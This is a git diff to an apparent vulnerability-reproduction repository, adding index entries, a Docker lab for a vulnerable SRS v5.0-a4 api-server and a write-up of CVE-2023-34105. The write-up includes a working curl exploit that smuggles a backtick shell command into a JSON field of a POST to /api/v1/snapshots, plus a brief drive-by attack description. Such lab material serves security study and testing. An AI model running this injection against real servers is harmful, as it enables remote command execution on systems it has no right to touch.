diff --git a/README.md b/README.md index f353f90..2d2e0e9 100644 --- a/README.md +++ b/README.md @@ -401,6 +401,8 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito * MLflow get-artifact 任意文件读取漏洞 CVE-2023-1177 * Mojarra JSF ViewState 反序列化漏洞 * mongo-express 远程代码执行漏洞 CVE-2019-10758 + * n8n Pyodide 沙箱逃逸导致远程代码执行漏洞 CVE-2025-68668 + * n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613 * Nexus Repository Manager 3 extdirect 远程命令执行漏洞 CVE-2019-7238 * Nexus Repository Manager 3 extdirect 远程命令执行漏洞 CVE-2020-10204 * Nexus Repository Manager 3 group 远程命令执行漏洞 CVE-2020-10199 @@ -713,6 +715,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito * SaltStack 未授权访问命令执行漏洞 CVE-2020-16846 25592 * SaltStack 水平权限绕过漏洞 CVE-2020-11651 * Saltstack 远程命令执行漏洞 CVE-2020-11651 11652 + * SRS api-server 服务器命令执行漏洞 CVE-2023-34105 * Supervisord 远程命令执行漏洞 CVE-2017-11610 * uWSGI PHP目录穿越漏洞 CVE-2018-7490 * uWSGI 未授权访问漏洞 @@ -939,6 +942,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito * Hadoop YARN ResourceManager 未授权访问 * InfluxDB JWT 认证绕过漏洞 CVE-2019-20933 * InfluxDB 未授权访问漏洞 + * MongoDB Zlib 压缩协议堆内存信息泄露漏洞 CVE-2025-14847 * MySQL UDF 提权漏洞 * MySQL 身份认证绕过漏洞 CVE-2012-2122 * Neo4j Shell Server 反序列化漏洞 CVE-2021-34371 diff --git a/base/srs/v5.0-a4/Dockerfile b/base/srs/v5.0-a4/Dockerfile new file mode 100644 index 0000000..3624f25 --- /dev/null +++ b/base/srs/v5.0-a4/Dockerfile @@ -0,0 +1,10 @@ +FROM golang:1.21-bullseye + +WORKDIR /app +RUN apt-get update && apt-get install -y wget && rm -rf /var/lib/apt/lists/* +RUN wget https://github.com/ossrs/srs/releases/download/v5.0-a4/srs-server-5.0-a4.tar.gz +RUN tar -xzf srs-server-5.0-a4.tar.gz && rm srs-server-5.0-a4.tar.gz + +WORKDIR /app/srs-server-5.0-a4/trunk/research/api-server +EXPOSE 8085 +CMD ["go", "run", "server.go"] diff --git a/base/srs/v5.0-a4/docker-compose.yml b/base/srs/v5.0-a4/docker-compose.yml new file mode 100644 index 0000000..42282dc --- /dev/null +++ b/base/srs/v5.0-a4/docker-compose.yml @@ -0,0 +1,7 @@ +services: + srs-api-stub: + build: . + container_name: srs-api-stub + ports: + - "8085:8085" + restart: always \ No newline at end of file diff --git a/中间件漏洞/SRS api-server 服务器命令执行漏洞 CVE-2023-34105.md b/中间件漏洞/SRS api-server 服务器命令执行漏洞 CVE-2023-34105.md new file mode 100644 index 0000000..39adff9 --- /dev/null +++ b/中间件漏洞/SRS api-server 服务器命令执行漏洞 CVE-2023-34105.md @@ -0,0 +1,97 @@ +# SRS api-server 服务器命令执行漏洞 CVE-2023-34105 + +## 漏洞描述 + +SRS 是一个实时视频服务器,支持 RTMP、WebRTC、HLS、HTTP-FLV、SRT、MPEG-DASH 和 GB28181。在版本 5.0.157、5.0-b1 和 6.0.48 之前,SRS 的 `api-server` 服务器容易受到命令注入驱动的攻击。攻击者可以向 `/api/v1/snapshots` 端点发送一个请求,其中包含要作为 POST 请求主体执行的任何命令。此问题可能导致远程代码执行(RCE)。版本 5.0.157、5.0-b1 和 6.0.48 包含修复程序。 + +参考链接: + +- https://github.com/ossrs/srs/blob/1d11d02e4b82fc3f37e4b048cff483b1581482c1/trunk/research/api-server/server.go#L761 +- https://github.com/ossrs/srs/commit/1d878c2daaf913ad01c6d0bc2f247116c8050338 +- https://github.com/ossrs/srs/security/advisories/GHSA-vpr5-779c-cx62 + +## 漏洞影响 + +``` +SRS v5.0.137~v5.0.156 +SRS v6.0.18~v6.0.47 +``` + +## 环境搭建 + +我们使用 SRS [v5.0-a4](https://github.com/ossrs/srs/releases/tag/v5.0-a4) 版本构建一个最小化测试环境,仅启动 srs-server。 + +Dockerfile + +``` +FROM golang:1.21-bullseye + +WORKDIR /app +RUN apt-get update && apt-get install -y wget && rm -rf /var/lib/apt/lists/* +RUN wget https://github.com/ossrs/srs/releases/download/v5.0-a4/srs-server-5.0-a4.tar.gz +RUN tar -xzf srs-server-5.0-a4.tar.gz && rm srs-server-5.0-a4.tar.gz + +WORKDIR /app/srs-server-5.0-a4/trunk/research/api-server +EXPOSE 8085 +CMD ["go", "run", "server.go"] +``` + +docker-compose.yml + +``` +services: + srs-api-stub: + build: . + container_name: srs-api-stub + ports: + - "8085:8085" + restart: always +``` + +执行如下命令启动一个 SRS v5.0-a4 的 srs-server 服务: + +``` +docker-compose up -d --build +``` + +服务启动后,访问 `http://your-ip:8085` 即可查看服务。 + +![](images/SRS%20api-server%20服务器命令执行漏洞%20CVE-2023-34105/image-20260106102606386.png) + +## 漏洞复现 + +`api-server` 服务器存在命令注入漏洞。攻击者可以向 `/api/v1/snapshots` 端点发送请求,请求体中包含任何要执行的命令: + +``` +curl -i -s -k -X $'POST' \ + -H $'Host: your-ip:8085' -H $'Connection: close' -H $'Content-Type: application/json' \ + --data-binary $'{\"action\": \"on_publish\",\"app\": \"`touch /tmp/awesome_poc`\", \"stream\":\"foo\", \"vhost\": \"foo\",\"client_id\":\"foo\"}' \ + $'http://your-ip:8085/api/v1/snapshots' +``` + +![](images/SRS%20api-server%20服务器命令执行漏洞%20CVE-2023-34105/image-20260106102859508.png) + +成功执行命令,创建文件: + +![](images/SRS%20api-server%20服务器命令执行漏洞%20CVE-2023-34105/image-20260106102922942.png) + +请注意,即使端口 8085 仅在本地主机接口上暴露,攻击者仍然可能使用 [drive-by attack](https://about.gitlab.com/blog/2021/09/07/why-are-developers-vulnerable-to-driveby-attacks/) 来利用此服务。攻击者可以准备一个包含以下 JS 脚本的恶意网站: + +``` + +``` + +如果攻击者诱骗受害者在 `api-server` 服务运行时访问此页面,将能够远程访问并成功执行命令。 + +## 漏洞修复 + +更新至安全版本 v5.0.157, v5.0-b1, v6.0.48。 diff --git a/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102606386.png b/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102606386.png new file mode 100644 index 0000000..c813520 Binary files /dev/null and b/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102606386.png differ diff --git a/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102859508.png b/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102859508.png new file mode 100644 index 0000000..c71a0e8 Binary files /dev/null and b/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102859508.png differ diff --git a/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102922942.png b/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102922942.png new file mode 100644 index 0000000..18ee59a Binary files /dev/null and b/中间件漏洞/images/SRS api-server 服务器命令执行漏洞 CVE-2023-34105/image-20260106102922942.png differ